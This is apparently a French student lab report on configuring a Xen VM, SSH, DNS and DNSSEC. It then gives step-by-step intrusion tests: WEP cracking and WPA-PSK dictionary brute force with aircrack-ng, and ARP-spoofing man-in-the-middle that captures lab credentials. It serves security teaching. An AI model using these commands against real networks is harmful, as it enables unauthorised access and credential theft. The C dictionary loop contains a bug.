TP sysres IMA2a5 2020/2021 G7 : Différence entre versions

Version du 11 novembre 2020 à 21:41

Sommaire

1 Installation de la machine virtuelle Xen
- 1.1 Création de la VM
- 1.2 Configuration de la VM
2 Services Internet
3 Tests d'intrusion

Installation de la machine virtuelle Xen

Création de la VM

Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh

 ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.

 xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

 xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation

 tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

    Installation Summary
    ---------------------
    Hostname        :  hawker
    Distribution    :  ascii
    MAC Address     :  00:16:3E:A4:65:07
    IP Address(es)  :  dynamic
    SSH Fingerprint :  SHA256:xxxxxxx (DSA)
    SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)
    SSH Fingerprint :  SHA256:xxxxxxx (ED25519)
    SSH Fingerprint :  SHA256:xxxxxxx (RSA)
    Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

Configuration de la VM

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau. Je récupère le nom du bridge "IMA2a5"

 brctl show 
   bridge name        bridge id             STP enabled     interfaces
   IMA2a5             8000.34800d508a83     no              ether1
   IMA5sc             8000.34800d508a82     no              ether0
   L3MRIT             8000.b026289b2c9a     no              ether2
   Trunk              8000.4cd98fa49258     no              ether4
   bridgeGIS          8000.4cd98fa49258     no              vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel      = '/boot/vmlinuz-4.9.0-6-amd64'
extra       = 'elevator=noop'
ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'

vcpus       = '1'
memory      = '1024'

root        = '/dev/xvda2 ro'
disk        = [
                  'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
              ]

name        = 'hawker'

vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]

on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'

J'accède à ma machine virtuelle

 xl create /etc/xen/hawker.cfg
 xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte

 lvcreate -L10G -n hawker-var virtual
 lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions

 mke2fs /dev/virtual/hawker-home
 mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk        = [
                  'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
                  'phy:/dev/virtual/hawker-home,xvdb1,w',
                  'phy:/dev/virtual/hawker-var,xvdb2,w',
              ]

Puis je redémarre la VM pour prendre en compte les modifications

 xl shutdown hawker
 xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.

 /dev/xvdb1     /home ext4  defaults   0   2
 #/dev/xvdb2    /var  ext4  defaults   0   2

A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.

 mkfs -t ext4 /dev/xvdb2
 mount /dev/xvdb2 /mnt
 mv /var/* /mnt
 blkid Trouver ou afficher les attributs de périphérique bloc
   /dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
   /dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
   /dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
   /dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
 vi /etc/fstab

Par la suite, je peux décommenter la ligne et exécuter :

 umount /mnt    
 mount -a

Je vérifie que les disques sont bien montés via la commande df

 Filesystem     1K-blocks     Used   Available   Use%   Mounted on
 udev              483904        0      483904     0%   /dev
 tmpfs             100712      120      100592     1%   /run
 /dev/xvda2       4062912   791352     3045464    21%   /
 tmpfs               5120        0        5120     0%   /run/lock
 tmpfs             306280        0      306280     0%   /dev/shm
 /dev/xvdb1      10255636    36872     9678092     1%   /home
 /dev/xvdb2      10255636   315536     9399428     4%   /var

On peut vérifier que la VM est prête

 xl list
   Name          ID    Mem   VCPUs    State	Time(s)
   Domain-0      0    4046     4      r-----    6978.3
   boeing        1     256     1      -b----     185.5
   NightHawk     3    1024     1      -b----     826.8
   hawker        4    1024     1      -b----     776.9
   blackbird     5     256     1      -b----     640.4
   Falcon        6     256     1      -b----     691.7
   rafale        8     256     1      -b----     606.0
   mirage        12   1024     1      -b----     668.6
   alpha-jet     13    256     1      -b----     591.4
   concorde      19   1024     1      -b----     148.5
   oronge        20    256     1      -b----     536.2

On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

Services Internet

Configuration du réseau

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces

  auto eth0
  iface eth0 inet static
    address 193.48.57.171 
    netmask 255.255.255.240
    gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus

  ifdown eth0
  ifup eth0

Je vérifie que le processus s'est bien déroulé

  ip r
    default via 193.48.57.163 dev eth0 onlink 
    193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 
 ping 193.48.57.162 (Adresse IP 3560E)

Serveur SSH

Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :

 vi /etc/ssh/sshd_config
    PermitRootLogin yes // Permet l'accès direct en root
 service ssh restart

Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.

 ssh root@193.48.57.171

Serveur DNS

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.

   ns.lulya.space
   193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.

   ns.lulya.space1
   ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind. Le fichier named.conf.options qui gère les options de configuration du DNS :

  options {
       directory "/var/cache/bind";
       dnssec-validation auto;
       listen-on-v6 { any; };
       allow-transfer { "allowed_to_transfer"; };
  };
  acl "allowed_to_transfer" {
       217.70.177.40/32; //Adresse IP de dns6.gandi.net
  };

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:

  zone "lulya.space" {
     type master;
     file "/etc/bind/db.lulya.space";
   };

Enfin, le fichier de configuration /etc/bind/db.lulya.space :

  $TTL 3600
  @ IN SOA ns.lulya.space. postmaster.lulya.space. (
        1               ; Version
        1800             ; Refresh (30m)
        600             ; Retry   (10m)
        3600             ; Expire (1h)
        3600 )           ; Minimum TTL (1h)
  @ IN NS ns.lulya.space.
  @ IN NS ns6.gandi.net.
  ns      IN A       192.48.57.171
  www     IN A       192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

Sécurisation de site par certificat web

Sécurisation de serveur DNS par DNSSEC

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine. Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs. La clé asymétrique de signature de clefs de zone

 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space

La clé asymétrique de zone pour les enregistrements

 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : - la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK - puis par le type de clef : .key pour la clef publique ou .private pour la clef privée

 mv Klulya.space.+005+11461.key              lulya.space-ksk.key
 mv Klulya.space.+005+11461.private      lulya.space-ksk.private
 mv Klulya.space.+005+27882.key              lulya.space-zsk.key
 mv Klulya.space.+005+27882.private      lulya.space-zsk.private

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space

 $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
 $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements

 dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed

 zone "lulya.space" {
    type master;
    file "/etc/bind/db.lulya.space.signed";
 };

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :

 root@zabeth09:~# airmon-ng
   PHY	  Interface	  Driver	Chipset
   phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

 root@zabeth09:~# airmon-ng start wlx40a5efd2140c
 Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
       (mac80211 monitor mode vif enabled on [phy0]wlan0mon
       (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé

 root@zabeth09:~# airmon-ng
   PHY	  Interface	Driver		Chipset
   phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux

 root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

 root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.

 airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP

 root@zabeth09:~# aircrack-ng lcrack-01.cap
 Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

                             Aircrack-ng 1.5.2 
                [00:00:00] Tested 833 keys (got 73079 IVs)
  KB    depth   byte(vote)
   0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) 
   1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) 
   2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) 
   3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) 
   4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) 
            KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] 
   Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

En utilisant la même méthode, on peut craquer une autre clef WPA.

 root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
   -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

 int main(void){
       int x;
       for(x=0; x=99999999; x++){
           printf("%08d\n",x);
       }
 }

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.

 root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.

 root@zabeth09:~# ./dico | more
   00000000
   00000001
   00000002
   00000003
   00000004
 root@zabeth09:~# ./dico | tail
   99999995
   99999996
   99999997
   99999998
   99999999

Je finis par les transférer dans un fichier .txt

 root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.

 root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
 root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.

 root@zabeth09:~# split -n 2 dico.txt

J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico

 root@zabeth09:~# ls -lhrt 
 -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c
 -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico
 -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa
 -rw-r--r-- 1 root root 430M Nov  4 17:15 xab

En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22

 root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)

 root@zabeth22:~# cat /tmp/result 
   Aircrack-ng 1.5.2 
     [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) 
     Time left: 7 hours, 30 minutes, 1 second      9.98%
                          KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement. Il est logique que celui-ci nous donne aucune clé en réponse.

 root@zabeth26:~# cat /tmp/result 
  [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) 
     Time left: 0 seconds              97.28%
                         KEY NOT FOUND

Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

Attaque de type "homme au milieu" par usurpation ARP

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.

 root@dorade:/home/pifou# cat /etc/network/interfaces
   # This is an autoconfigured IPv6 interface
   iface eth0 inet static
       address 172.26.145.101
       netmask 255.255.255.0
       gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires

 root@dorade:/home/pifou# ip a
   1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
   2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.

 root@dorade:/home/pifou# ip r
   default via 172.26.145.254 dev eth0 onlink 
   169.254.0.0/16 dev eth0 scope link metric 1000 
   172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.

 root@dorade:/home/pifou# ping zabeth09
   PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
   64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
   64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
   --- zabeth09 ping statistics ---
   2 packets transmitted, 2 received, 0% packet loss, time 1001ms
   rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.

 root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0

Dorade n’est pas en mode routeur, je passe alors le noyau à 1

 root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début. Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.

 root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
   5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
   5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
   5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
   5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal. Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.

 root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1
 root@dorade:/home/pifou# wireshark

Interface eth0

On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop. On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr